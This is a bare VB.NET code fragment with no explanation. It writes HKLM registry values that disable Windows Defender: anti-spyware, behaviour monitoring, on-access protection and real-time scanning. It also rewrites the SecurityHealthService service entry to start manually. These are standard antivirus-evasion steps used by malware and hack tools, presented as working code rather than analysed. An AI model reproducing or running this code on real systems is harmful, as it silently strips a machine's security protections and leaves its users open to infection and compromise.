Dim rehcey As Object
Dim regKey As RegistryKey
Dim regKeY1 As RegistryKey
Dim regKeY2 As RegistryKey
'-----------------------------------------------------------------------------------------------------------------------------------------------------------
rehcey = CreateObject("WScript.Shell")
'-----------------------------------------------------------------------------------------------------------------------------------------------------------
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Policies\Microsoft", True)
regKey.CreateSubKey("Windows Defender")
regKey.Close()
rehcey.regwrite("HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware", 1, "REG_DWORD")
'-----------------------------------------------------------------------------------------------------------------------------------------------------------
regKeY1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\Policies\Microsoft\Windows Defender", True)
regKeY1.CreateSubKey("Real-Time Protection")
regKeY1.Close()
rehcey.regwrite("HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring", 1, "REG_DWORD")
rehcey.regwrite("HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection", 1, "REG_DWORD")
rehcey.regwrite("HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable", 1, "REG_DWORD")
'-----------------------------------------------------------------------------------------------------------------------------------------------------------
regKeY2 = Registry.LocalMachine.OpenSubKey("SYSTEM\CurrentControlSet\Services", True)
regKeY2.CreateSubKey("SecurityHealthService")
regKeY2.Close()
rehcey.regwrite("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService\DisplayName", "@%systemroot%\system32\SecurityHealthAgent.dll, -1002", "REG_SZ")
rehcey.regwrite("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService\ErrorControl", 1, "REG_DWORD")
rehcey.regwrite("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService\ImagePath", "%SystemRoot%\system32\SecurityHealthService.exe", "REG_EXPAND_SZ")
rehcey.regwrite("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService\Start", 3, "REG_DWORD")
rehcey.regwrite("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService\Type", 10, "REG_DWORD")
rehcey.regwrite("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService\Description", "@%systemroot%\system32\SecurityHealthAgent.dll,-1001", "REG_SZ")
rehcey.regwrite("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService\ObjectName", "LocalSystem", "REG_SZ")
rehcey.regwrite("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService\ServiceSidType", 1, "REG_DWORD")
rehcey.regwrite("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService\LaunchProtected", 2, "REG_DWORD")